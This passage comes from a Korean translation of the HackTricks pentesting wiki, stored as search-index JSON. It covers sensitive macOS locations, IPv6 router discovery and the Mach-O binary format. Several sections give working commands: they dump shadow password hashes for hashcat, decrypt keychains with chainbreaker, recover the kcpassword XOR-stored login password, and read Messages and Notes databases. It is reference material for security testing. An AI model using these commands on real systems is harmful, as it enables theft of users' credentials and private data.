Daemons"},"2262":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » 비밀번호","id":"2262","title":"비밀번호"},"2263":{"body":"그림자 비밀번호는 **/var/db/dslocal/nodes/Default/users/**에 위치한 plist에 사용자의 구성과 함께 저장됩니다. 다음의 원라이너를 사용하여 사용자에 대한 모든 정보 (해시 정보 포함)를 덤프할 수 있습니다: bash for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r \\"$l\\" ];then echo \\"$l\\"; defaults read \\"$l\\"; fi; done 이 스크립트들 또는 이 스크립트 는 해시를 hashcat 형식 으로 변환하는 데 사용할 수 있습니다. 모든 비서비스 계정의 자격 증명을 hashcat 형식 -m 7100 (macOS PBKDF2-SHA512)으로 덤프하는 대체 원라이너: bash sudo bash -c \'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex \\"[^_]*\\"); do plutil -extract name.0 raw $i | awk \\"{printf \\\\$0\\\\\\":\\\\$ml\\\\$\\\\\\"}\\"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk \\"{printf \\\\\\"$\\\\\\"\\\\$0}\\"; fi; done; echo \\"\\"; done\' 사용자의 ShadowHashData를 얻는 또 다른 방법은 dscl을 사용하는 것입니다: sudo dscl . -read /Users/`whoami` ShadowHashData","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » 그림자 비밀번호","id":"2263","title":"그림자 비밀번호"},"2264":{"body":"이 파일은 단일 사용자 모드 에서 시스템이 실행될 때만 사용됩니다 (따라서 매우 자주 사용되지는 않습니다).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » /etc/master.passwd","id":"2264","title":"/etc/master.passwd"},"2265":{"body":"보안 바이너리를 사용하여 복호화된 비밀번호를 덤프 할 때 여러 프롬프트가 사용자에게 이 작업을 허용하도록 요청할 것입니다. bash #security\\nsecurity dump-trust-settings [-s] [-d] #List certificates\\nsecurity list-keychains #List keychain dbs\\nsecurity list-smartcards #List smartcards\\nsecurity dump-keychain | grep -A 5 \\"keychain\\" | grep -v \\"version\\" #List keychains entries\\nsecurity dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » Keychain Dump","id":"2265","title":"Keychain Dump"},"2266":{"body":"caution 이 댓글 juuso/keychaindump#10 (comment) 를 기반으로 할 때, 이 도구들은 Big Sur에서 더 이상 작동하지 않는 것 같습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » Keychaindump","id":"2266","title":"Keychaindump"},"2267":{"body":"keychaindump 라는 도구는 macOS 키체인에서 비밀번호를 추출하기 위해 개발되었지만, Big Sur와 같은 최신 macOS 버전에서는 제한이 있습니다. keychaindump 를 사용하려면 공격자가 접근 권한을 얻고 root 권한을 상승시켜야 합니다. 이 도구는 사용자 로그인 시 기본적으로 키체인이 잠금 해제된다는 사실을 이용하여, 애플리케이션이 사용자의 비밀번호를 반복적으로 요구하지 않고도 접근할 수 있도록 합니다. 그러나 사용자가 매번 사용 후 키체인을 잠그기로 선택하면 keychaindump 는 효과가 없습니다. Keychaindump 는 securityd 라는 특정 프로세스를 타겟으로 작동하며, Apple에 의해 권한 부여 및 암호화 작업을 위한 데몬으로 설명됩니다. 이는 키체인에 접근하는 데 필수적입니다. 추출 과정은 사용자의 로그인 비밀번호에서 파생된 Master Key 를 식별하는 것을 포함합니다. 이 키는 키체인 파일을 읽는 데 필수적입니다. Master Key 를 찾기 위해 keychaindump 는 vmmap 명령을 사용하여 securityd 의 메모리 힙을 스캔하며, MALLOC_TINY로 플래그가 지정된 영역 내에서 잠재적인 키를 찾습니다. 다음 명령은 이러한 메모리 위치를 검사하는 데 사용됩니다: bash sudo vmmap | grep MALLOC_TINY 잠재적인 마스터 키를 식별한 후, keychaindump 는 특정 패턴(0x0000000000000018)을 나타내는 후보 마스터 키를 찾기 위해 힙을 검색합니다. 이 키를 활용하기 위해서는 keychaindump 의 소스 코드에 설명된 대로 추가적인 단계, 즉 난독화 해제가 필요합니다. 이 분야에 집중하는 분석가는 키체인을 복호화하는 데 필요한 중요한 데이터가 securityd 프로세스의 메모리에 저장되어 있다는 점에 유의해야 합니다. keychaindump 를 실행하는 예제 명령은: bash sudo ./keychaindump","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » Keychaindump 개요","id":"2267","title":"Keychaindump 개요"},"2268":{"body":"Chainbreaker 는 포렌식적으로 안전한 방식으로 OSX 키체인에서 다음 유형의 정보를 추출하는 데 사용할 수 있습니다: 해시된 키체인 비밀번호, hashcat 또는 John the Ripper 로 크랙하기에 적합 인터넷 비밀번호 일반 비밀번호 개인 키 공개 키 X509 인증서 보안 노트 Appleshare 비밀번호 키체인 잠금 해제 비밀번호, volafox 또는 volatility 를 사용하여 얻은 마스터 키, 또는 SystemKey와 같은 잠금 해제 파일이 주어지면 Chainbreaker는 평문 비밀번호도 제공합니다. 키체인을 잠금 해제하는 이러한 방법 중 하나가 없으면 Chainbreaker는 사용 가능한 모든 다른 정보를 표시합니다. Dump keychain keys bash #Dump all keys of the keychain (without the passwords)\\npython2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain SystemKey로 키체인 키(비밀번호 포함) 덤프하기 bash # First, get the keychain decryption key\\n# To get this decryption key you need to be root and SIP must be disabled\\nhexdump -s 8 -n 24 -e \'1/1 \\"%.2x\\"\' /var/db/SystemKey && echo\\n## Use the previous key to decrypt the passwords\\npython2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain 키체인 키 덤프 (비밀번호 포함) 해시 크래킹 bash # Get the keychain hash\\npython2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain\\n# Crack it with hashcat\\nhashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt\\n# Use the key to decrypt the passwords\\npython2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain 메모리 덤프를 사용하여 키체인 키(비밀번호 포함) 덤프하기 이 단계를 따르세요 메모리 덤프 를 수행하기 위해 bash #Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords\\n# Unformtunately volafox isn\'t working with the latest versions of MacOS\\npython vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump #Try to extract the passwords using the extracted keychain passwords\\npython2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain 사용자의 비밀번호를 사용하여 키체인 키 덤프하기 (비밀번호 포함) 사용자의 비밀번호를 알고 있다면 이를 사용하여 사용자에게 속한 키체인을 덤프하고 복호화할 수 있습니다 . bash #Prompt to ask for the password\\npython2.7 chainbreaker.py --dump-all --password-prompt /Users//Library/Keychains/login.keychain-db","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » chainbreaker","id":"2268","title":"chainbreaker"},"2269":{"body":"kcpassword 파일은 사용자의 로그인 비밀번호 를 저장하는 파일이지만, 시스템 소유자가 자동 로그인을 활성화 한 경우에만 해당됩니다. 따라서 사용자는 비밀번호를 입력하라는 요청 없이 자동으로 로그인됩니다(이는 그리 안전하지 않습니다). 비밀번호는 /etc/kcpassword 파일에 0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F 키와 XOR되어 저장됩니다. 사용자의 비밀번호가 키보다 길면 키가 재사용됩니다. 이로 인해 비밀번호를 복구하는 것이 꽤 쉬워지며, 예를 들어 이 스크립트 를 사용할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » kcpassword","id":"2269","title":"kcpassword"},"227":{"body":"관리형 스위치에서 RA Guard / DHCPv6 Guard / ND Inspection . 합법적인 라우터의 MAC만 RAs를 전송할 수 있도록 허용하는 포트 ACL. 불안정한 고속 RAs 또는 갑작스러운 RDNSS 변경 모니터링. 엔드포인트에서 IPv6를 비활성화하는 것은 현대 서비스에 자주 문제를 일으키고 블라인드 스팟을 숨기는 임시 해결책입니다 – 대신 L2 필터링을 선호하십시오.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » 방어","id":"227","title":"방어"},"2270":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » Interesting Information in Databases","id":"2270","title":"Interesting Information in Databases"},"2271":{"body":"bash sqlite3 $HOME/Library/Messages/chat.db .tables\\nsqlite3 $HOME/Library/Messages/chat.db \'select * from message\'\\nsqlite3 $HOME/Library/Messages/chat.db \'select * from attachment\'\\nsqlite3 $HOME/Library/Messages/chat.db \'select * from deleted_messages\'\\nsqlite3 $HOME/Suggestions/snippets.db \'select * from emailSnippets\'","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » Messages","id":"2271","title":"Messages"},"2272":{"body":"You can find the Notifications data in $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/ Most of the interesting information is going to be in blob . So you will need to extract that content and transform it to human readable or use strings . To access it you can do: bash cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/\\nstrings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » Notifications","id":"2272","title":"Notifications"},"2273":{"body":"사용자의 노트 는 ~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite에서 찾을 수 있습니다. bash sqlite3 ~/Library/Group\\\\ Containers/group.com.apple.notes/NoteStore.sqlite .tables #To dump it in a readable format:\\nfor i in $(sqlite3 ~/Library/Group\\\\ Containers/group.com.apple.notes/NoteStore.sqlite \\"select Z_PK from ZICNOTEDATA;\\"); do sqlite3 ~/Library/Group\\\\ Containers/group.com.apple.notes/NoteStore.sqlite \\"select writefile(\'body1.gz.z\', ZDATA) from ZICNOTEDATA where Z_PK = \'$i\';\\"; zcat body1.gz.Z ; done","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » Notes","id":"2273","title":"Notes"},"2274":{"body":"macOS 앱의 기본 설정은 **$HOME/Library/Preferences**에 위치하고, iOS에서는 /var/mobile/Containers/Data/Application//Library/Preferences에 있습니다. macOS에서는 cli 도구 **defaults**를 사용하여 Preferences 파일을 수정 할 수 있습니다. **/usr/sbin/cfprefsd**는 XPC 서비스 com.apple.cfprefsd.daemon과 com.apple.cfprefsd.agent를 주장하며, 기본 설정을 수정하는 등의 작업을 수행하기 위해 호출될 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » Preferences","id":"2274","title":"Preferences"},"2275":{"body":"파일 /System/Library/OpenDirectory/permissions.plist는 노드 속성에 적용된 권한을 포함하고 있으며 SIP에 의해 보호됩니다. 이 파일은 특정 사용자에게 UUID(및 uid가 아님)를 통해 권한을 부여하여 ShadowHashData, HeimdalSRPKey, KerberosKeys와 같은 특정 민감한 정보에 접근할 수 있도록 합니다. xml [...]\\ndsRecTypeStandard:Computers\\n\\ndsAttrTypeNative:ShadowHashData\\n\\n\\n\\nuuid\\nABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000\\npermissions\\n\\nreadattr\\nwriteattr\\n\\n\\n\\ndsAttrTypeNative:KerberosKeys\\n\\n\\n\\nuuid\\nABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000\\npermissions\\n\\nreadattr\\nwriteattr\\n\\n\\n\\n[...]","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » OpenDirectory permissions.plist","id":"2275","title":"OpenDirectory permissions.plist"},"2276":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » 시스템 알림","id":"2276","title":"시스템 알림"},"2277":{"body":"알림을 위한 주요 데몬은 **/usr/sbin/notifyd**입니다. 알림을 받기 위해 클라이언트는 com.apple.system.notification_center Mach 포트를 통해 등록해야 합니다(이를 확인하려면 sudo lsmp -p 를 사용하세요). 데몬은 /etc/notify.conf 파일로 구성할 수 있습니다. 알림에 사용되는 이름은 고유한 역 DNS 표기법이며, 알림이 그 중 하나로 전송되면 이를 처리할 수 있다고 표시한 클라이언트가 수신하게 됩니다. 현재 상태를 덤프하고(모든 이름을 확인하려면) notifyd 프로세스에 SIGUSR2 신호를 보내고 생성된 파일을 읽으면 됩니다: /var/run/notifyd_.status: bash ps -ef | grep -i notifyd\\n0 376 1 0 15Mar24 ?? 27:40.97 /usr/sbin/notifyd sudo kill -USR2 376 cat /var/run/notifyd_376.status\\n[...]\\npid: 94379 memory 5 plain 0 port 0 file 0 signal 0 event 0 common 10\\nmemory: com.apple.system.timezone\\ncommon: com.apple.analyticsd.running\\ncommon: com.apple.CFPreferences._domainsChangedExternally\\ncommon: com.apple.security.octagon.joined-with-bottle\\n[...]","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » 다윈 알림","id":"2277","title":"다윈 알림"},"2278":{"body":"Distributed Notification Center 의 주요 바이너리는 **/usr/sbin/distnoted**로, 알림을 보내는 또 다른 방법입니다. 일부 XPC 서비스를 노출하며 클라이언트를 확인하기 위한 몇 가지 검사를 수행합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » Distributed Notification Center","id":"2278","title":"Distributed Notification Center"},"2279":{"body":"이 경우, 애플리케이션은 topics 에 등록할 수 있습니다. 클라이언트는 **apsd**를 통해 Apple의 서버에 연락하여 토큰을 생성합니다. 그런 다음, 제공자는 또한 토큰을 생성하고 Apple의 서버에 연결하여 클라이언트에게 메시지를 보낼 수 있습니다. 이러한 메시지는 **apsd**에 의해 로컬에서 수신되며, 이는 알림을 기다리고 있는 애플리케이션에 전달됩니다. 환경 설정은 /Library/Preferences/com.apple.apsd.plist에 위치해 있습니다. macOS의 메시지 로컬 데이터베이스는 /Library/Application\\\\ Support/ApplePushService/aps.db에 위치하고, iOS에서는 /var/mobile/Library/ApplePushService에 있습니다. 이 데이터베이스는 incoming_messages, outgoing_messages 및 channel의 3개 테이블을 가지고 있습니다. bash sudo sqlite3 /Library/Application\\\\ Support/ApplePushService/aps.db 다음과 같은 방법으로 데몬 및 연결에 대한 정보를 얻는 것도 가능합니다: bash /System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » Apple Push Notifications (APN)","id":"2279","title":"Apple Push Notifications (APN)"},"228":{"body":"많은 소비자 라우터는 모든 인터페이스에서 관리 데몬(HTTP(S), SSH/Telnet, TR-069 등)을 노출합니다. 일부 배포에서는 \\"게스트/공용\\" SSID가 WAN/코어에 브리징되어 있으며 IPv6 전용입니다. 라우터의 IPv6가 매 부팅마다 변경되더라도, NDP/ICMPv6를 사용하여 이를 신뢰성 있게 학습하고 게스트 SSID에서 관리 평면에 직접 연결할 수 있습니다. 게스트/공용 SSID에 연결된 클라이언트의 일반적인 작업 흐름: 모든 라우터 멀티캐스트 ff02::2에 ICMPv6 라우터 요청을 통해 라우터를 발견하고 라우터 광고(RA)를 캡처합니다: bash # Listen for Router Advertisements (ICMPv6 type 134)\\nsudo tcpdump -vvv -i \'icmp6 and ip6[40]==134\' # Provoke an RA by sending a Router Solicitation to ff02::2\\npython3 - <<\'PY\'\\nfrom scapy.all import *\\nsend(IPv6(dst=\'ff02::2\')/ICMPv6ND_RS(), iface=\'\')\\nPY RA는 라우터의 링크 로컬 및 종종 글로벌 주소/프리픽스를 드러냅니다. 링크 로컬만 알고 있다면, 연결 시 존 인덱스를 지정해야 한다는 점을 기억하세요. 예: ssh -6 admin@[fe80::1%wlan0]. 대안: 사용 가능한 경우 ndisc6 스위트를 사용하세요: bash # rdisc6 sends RS and prints RAs in a friendly way\\nrdisc6 게스트 SSID에서 IPv6를 통해 노출된 서비스에 접근하기: bash # SSH/Telnet example (replace with discovered address)\\nssh -6 admin@[2001:db8:abcd::1]\\n# Web UI over IPv6\\ncurl -g -6 -k \'http://[2001:db8:abcd::1]/\'\\n# Fast IPv6 service sweep\\nnmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1] 관리 셸이 래퍼를 통해 패킷 캡처 도구를 제공하는 경우(예: tcpdump), 추가 tcpdump 플래그(-G/-W/-z)를 전달할 수 있는 인수/파일 이름 주입을 확인하여 포스트 회전 명령 실행을 달성합니다. 참조: Wildcards Spare tricks 방어/노트: 관리 기능을 게스트/공용 브리지에 바인딩하지 마십시오; SSID 브리지에 IPv6 방화벽을 적용하십시오. 가능한 경우 게스트 세그먼트에서 NDP/RS/RA의 속도 제한 및 필터링을 적용하십시오. 도달 가능해야 하는 서비스에 대해 인증(N/MFA) 및 강력한 속도 제한을 시행하십시오.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » 게스트/공용 SSID에서의 NDP 라우터 발견 및 관리 서비스 노출","id":"228","title":"게스트/공용 SSID에서의 NDP 라우터 발견 및 관리 서비스 노출"},"2280":{"body":"사용자가 화면에서 봐야 하는 알림입니다: CFUserNotification : 이 API는 메시지가 포함된 팝업을 화면에 표시하는 방법을 제공합니다. 게시판 : iOS에서 사라지는 배너를 표시하며, 알림 센터에 저장됩니다. NSUserNotificationCenter : MacOS의 iOS 게시판입니다. 알림이 저장된 데이터베이스는 /var/folders//0/com.apple.notificationcenter/db2/db에 위치합니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Sensitive Locations & Interesting Daemons » 사용자 알림","id":"2280","title":"사용자 알림"},"2281":{"body":"Reading time: 13 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » macOS Universal binaries & Mach-O Format","id":"2281","title":"macOS Universal binaries & Mach-O Format"},"2282":{"body":"Mac OS 바이너리는 일반적으로 유니버설 바이너리 로 컴파일됩니다. 유니버설 바이너리 는 같은 파일에서 여러 아키텍처를 지원할 수 있습니다 . 이 바이너리는 기본적으로 Mach-O 구조 를 따르며, 이는 다음으로 구성됩니다: 헤더 로드 명령 데이터 https://alexdremov.me/content/images/2022/10/6XLCD.gif","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » Basic Information","id":"2282","title":"Basic Information"},"2283":{"body":"다음 명령어로 파일을 검색합니다: mdfind fat.h | grep -i mach-o | grep -E \\"fat.h$\\" #define FAT_MAGIC\\t0xcafebabe\\n#define FAT_CIGAM\\t0xbebafeca\\t/* NXSwapLong(FAT_MAGIC) */ struct fat_header { uint32_t\\tmagic; /* FAT_MAGIC 또는 FAT_MAGIC_64 */ uint32_t\\tnfat_arch;\\t/* 뒤따르는 구조체의 수 */\\n}; struct fat_arch {\\ncpu_type_t\\tcputype;\\t/* cpu 지정자 (int) */\\ncpu_subtype_t\\tcpusubtype;\\t/* 머신 지정자 (int) */\\nuint32_t\\toffset; /* 이 객체 파일에 대한 파일 오프셋 */\\nuint32_t\\tsize; /* 이 객체 파일의 크기 */\\nuint32_t\\talign; /* 2의 거듭제곱으로 정렬 */\\n}; 헤더에는 매직 바이트가 있으며, 그 뒤에 파일이 포함하는 아키텍처 의 수 (nfat_arch)가 있습니다. 각 아키텍처는 fat_arch 구조체를 가집니다. 다음 명령어로 확인합니다: % file /bin/ls\\n/bin/ls: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]\\n/bin/ls (for architecture x86_64):\\tMach-O 64-bit executable x86_64\\n/bin/ls (for architecture arm64e):\\tMach-O 64-bit executable arm64e % otool -f -v /bin/ls\\nFat headers\\nfat_magic FAT_MAGIC\\nnfat_arch 2\\narchitecture x86_64 cputype CPU_TYPE_X86_64\\ncpusubtype CPU_SUBTYPE_X86_64_ALL\\ncapabilities 0x0 offset 16384 size 72896 align 2^14 (16384)\\narchitecture arm64e cputype CPU_TYPE_ARM64\\ncpusubtype CPU_SUBTYPE_ARM64E\\ncapabilities PTR_AUTH_VERSION USERSPACE 0 offset 98304 size 88816 align 2^14 (16384) 또는 Mach-O View 도구를 사용하여: 당신이 생각할 수 있듯이, 일반적으로 2개의 아키텍처를 위해 컴파일된 유니버설 바이너리는 1개의 아키텍처를 위해 컴파일된 것의 크기를 두 배로 늘립니다 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » Fat Header","id":"2283","title":"Fat Header"},"2284":{"body":"헤더는 파일에 대한 기본 정보를 포함하며, Mach-O 파일로 식별하기 위한 매직 바이트와 대상 아키텍처에 대한 정보를 포함합니다. 다음 명령어로 찾을 수 있습니다: mdfind loader.h | grep -i mach-o | grep -E \\"loader.h$\\" c #define\\tMH_MAGIC\\t0xfeedface\\t/* the mach magic number */\\n#define MH_CIGAM\\t0xcefaedfe\\t/* NXSwapInt(MH_MAGIC) */\\nstruct mach_header {\\nuint32_t\\tmagic; /* mach magic number identifier */\\ncpu_type_t\\tcputype;\\t/* cpu specifier (e.g. I386) */\\ncpu_subtype_t\\tcpusubtype;\\t/* machine specifier */\\nuint32_t\\tfiletype;\\t/* type of file (usage and alignment for the file) */\\nuint32_t\\tncmds; /* number of load commands */\\nuint32_t\\tsizeofcmds;\\t/* the size of all the load commands */\\nuint32_t\\tflags; /* flags */\\n}; #define MH_MAGIC_64 0xfeedfacf /* the 64-bit mach magic number */\\n#define MH_CIGAM_64 0xcffaedfe /* NXSwapInt(MH_MAGIC_64) */\\nstruct mach_header_64 {\\nuint32_t\\tmagic; /* mach magic number identifier */\\nint32_t cputype;\\t/* cpu specifier */\\nint32_t cpusubtype;\\t/* machine specifier */\\nuint32_t\\tfiletype;\\t/* type of file */\\nuint32_t\\tncmds; /* number of load commands */\\nuint32_t\\tsizeofcmds;\\t/* the size of all the load commands */\\nuint32_t\\tflags; /* flags */\\nuint32_t\\treserved;\\t/* reserved */\\n};","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » Mach-O Header","id":"2284","title":"Mach-O Header"},"2285":{"body":"다양한 파일 유형이 있으며, 소스 코드에서 예를 찾아볼 수 있습니다 . 가장 중요한 유형은 다음과 같습니다: MH_OBJECT: 재배치 가능한 오브젝트 파일 (컴파일의 중간 산출물, 아직 실행 파일이 아님). MH_EXECUTE: 실행 파일. MH_FVMLIB: 고정 VM 라이브러리 파일. MH_CORE: 코드 덤프 MH_PRELOAD: 미리 로드된 실행 파일 (XNU에서 더 이상 지원되지 않음) MH_DYLIB: 동적 라이브러리 MH_DYLINKER: 동적 링커 MH_BUNDLE: \\"플러그인 파일\\". gcc에서 -bundle을 사용하여 생성되며 NSBundle 또는 dlopen에 의해 명시적으로 로드됨. MH_DYSM: 동반 .dSym 파일 (디버깅을 위한 기호가 포함된 파일). MH_KEXT_BUNDLE: 커널 확장. bash # Checking the mac header of a binary\\notool -arch arm64e -hv /bin/ls\\nMach header\\nmagic cputype cpusubtype caps filetype ncmds sizeofcmds flags\\nMH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DYLDLINK TWOLEVEL PIE 또는 Mach-O View 를 사용하여:","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » Mach-O 파일 유형","id":"2285","title":"Mach-O 파일 유형"},"2286":{"body":"소스 코드는 라이브러리 로딩에 유용한 여러 플래그를 정의합니다: MH_NOUNDEFS: 정의되지 않은 참조 없음 (완전히 링크됨) MH_DYLDLINK: Dyld 링크 MH_PREBOUND: 동적 참조가 미리 바인딩됨. MH_SPLIT_SEGS: 파일이 r/o 및 r/w 세그먼트로 분할됨. MH_WEAK_DEFINES: 바이너리에 약한 정의 기호가 있음 MH_BINDS_TO_WEAK: 바이너리가 약한 기호를 사용함 MH_ALLOW_STACK_EXECUTION: 스택을 실행 가능하게 만듦 MH_NO_REEXPORTED_DYLIBS: 라이브러리에 LC_REEXPORT 명령 없음 MH_PIE: 위치 독립 실행 파일 MH_HAS_TLV_DESCRIPTORS: 스레드 로컬 변수가 있는 섹션이 있음 MH_NO_HEAP_EXECUTION: 힙/데이터 페이지에 대한 실행 없음 MH_HAS_OBJC: 바이너리에 oBject-C 섹션이 있음 MH_SIM_SUPPORT: 시뮬레이터 지원 MH_DYLIB_IN_CACHE: 공유 라이브러리 캐시의 dylibs/frameworks에서 사용됨.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » Mach-O 플래그","id":"2286","title":"Mach-O 플래그"},"2287":{"body":"메모리에서의 파일 레이아웃 은 여기에서 지정되며, 기호 테이블의 위치 , 실행 시작 시 메인 스레드의 컨텍스트, 그리고 필요한 공유 라이브러리 가 자세히 설명됩니다. 동적 로더 **(dyld)**에 바이너리의 메모리 로딩 프로세스에 대한 지침이 제공됩니다. load_command 구조체를 사용하며, 이는 언급된 **loader.h**에 정의되어 있습니다: objectivec struct load_command {\\nuint32_t cmd; /* type of load command */\\nuint32_t cmdsize; /* total size of command in bytes */\\n}; 약 50가지의 다양한 유형의 로드 명령 이 시스템에 의해 다르게 처리됩니다. 가장 일반적인 것들은: LC_SEGMENT_64, LC_LOAD_DYLINKER, LC_MAIN, LC_LOAD_DYLIB, 및 LC_CODE_SIGNATURE입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » Mach-O 로드 명령","id":"2287","title":"Mach-O 로드 명령"},"2288":{"body":"tip 기본적으로 이 유형의 로드 명령은 이진 파일이 실행될 때 데이터 섹션에 표시된 오프셋에 따라 __TEXT (실행 코드) 및 __DATA (프로세스에 대한 데이터) 세그먼트를 로드하는 방법을 정의합니다. 이 명령은 실행될 때 프로세스의 가상 메모리 공간에 매핑되는 세그먼트 를 정의 합니다. __TEXT 세그먼트와 같이 프로그램의 실행 코드를 포함하는 다양한 유형 의 세그먼트가 있으며, __DATA 세그먼트는 프로세스에서 사용하는 데이터를 포함합니다. 이러한 세그먼트는 Mach-O 파일의 데이터 섹션에 위치합니다. 각 세그먼트 는 여러 섹션 으로 추가 구분 될 수 있습니다. 로드 명령 구조 는 해당 세그먼트 내의 이 섹션들에 대한 정보 를 포함합니다. 헤더에서는 먼저 세그먼트 헤더 를 찾습니다: struct segment_command_64 { /* for 64-bit architectures */\\nuint32_t\\tcmd; /* LC_SEGMENT_64 */\\nuint32_t\\tcmdsize;\\t/* includes sizeof section_64 structs */\\nchar segname[16];\\t/* segment name */\\nuint64_t\\tvmaddr; /* memory address of this segment */\\nuint64_t\\tvmsize; /* memory size of this segment */\\nuint64_t\\tfileoff;\\t/* file offset of this segment */\\nuint64_t\\tfilesize;\\t/* amount to map from the file */\\nint32_t maxprot;\\t/* maximum VM protection */\\nint32_t initprot;\\t/* initial VM protection */ uint32_t\\tnsects; /* number of sections in segment */ uint32_t\\tflags; /* flags */\\n}; 세그먼트 헤더의 예: 이 헤더는 그 뒤에 나타나는 헤더의 섹션 수를 정의합니다: c struct section_64 { /* for 64-bit architectures */\\nchar sectname[16];\\t/* name of this section */\\nchar segname[16];\\t/* segment this section goes in */\\nuint64_t\\taddr; /* memory address of this section */\\nuint64_t\\tsize; /* size in bytes of this section */\\nuint32_t\\toffset; /* file offset of this section */\\nuint32_t\\talign; /* section alignment (power of 2) */\\nuint32_t\\treloff; /* file offset of relocation entries 